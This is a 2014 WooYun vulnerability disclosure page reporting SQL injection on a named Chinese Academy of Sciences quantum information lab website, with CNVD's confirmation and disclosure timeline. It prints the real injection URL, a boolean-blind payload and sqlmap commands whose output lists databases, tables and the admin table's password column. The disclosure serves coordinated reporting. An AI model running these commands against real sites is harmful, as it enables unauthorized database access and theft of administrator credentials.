当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074123

漏洞标题：中国科学院量子信息重点实验室网站SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 小饼仔

提交时间：2014-08-28 11:42

修复时间：2014-10-12 11:44

公开时间：2014-10-12 11:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-28： 细节已通知厂商并且等待厂商处理中
2014-09-02： 厂商已经确认，细节仅向厂商公开
2014-09-12： 细节向核心白帽子及相关领域专家公开
2014-09-22： 细节向普通白帽子公开
2014-10-02： 细节向实习白帽子公开
2014-10-12： 细节向公众公开

简要描述：

早上提交了一个漏洞，写了半天，然后没审核通过，很伤心！
PS.中国科学院量子信息重点实验室 名字高大上

详细说明：

注入点：http://lqcc.ustc.edu.cn/news/?column=19
sqlmap:

python sqlmap.py -u "http://lqcc.ustc.edu.cn/news/?column=19" --current-db --dbs --is-dba --current-user
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: column
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: column=19' AND 6536=6536 AND 'PSmj'='PSmj
---
web application technology: Apache
back-end DBMS: MySQL 5
current user:    'root@localhost'
current database:    'phpcms'
current user is DBA:    True
available databases [18]:
[*] dwww
[*] entanglement
[*] ibook
[*] information_schema
[*] iopt
[*] jpkc
[*] microcavity
[*] mysql
[*] newoptical
[*] optical
[*] phpcms
[*] qchip
[*] qcrypt
[*] quantum
[*] simulate
[*] test
[*] theory
[*] zkd


phpcms数据库表
python sqlmap.py -u "http://lqcc.ustc.edu.cn/news/?column=19" -D phpcms --tables
web application technology: Apache
back-end DBMS: MySQL 5
Database: phpcms
[7 tables]
+----------+
| column   |
| count    |
| handler  |
| admin    |
| article  |
| config   |
| template |
+----------+


phpcms数据库表 表admin字段
python sqlmap.py -u "http://lqcc.ustc.edu.cn/news/?column=19" -D phpcms -T admin --columns
web application technology: Apache
back-end DBMS: MySQL 5
Database: phpcms
Table: admin
[6 columns]
+----------+------------------------+
| Column   | Type                   |
+----------+------------------------+
| columns  | varchar(1000)          |
| email    | varchar(100)           |
| id       | int(10)                |
| password | varchar(100)           |
| realname | varchar(100)           |
| type     | enum('normal','super') |
+----------+------------------------+


漏洞证明：

修复方案：

不知道

版权声明：转载请注明来源 小饼仔@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-09-02 10:02

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT通报给中国科学院计算机网络管理中心，由其后续协调网站管理单位处置。

最新状态：

暂无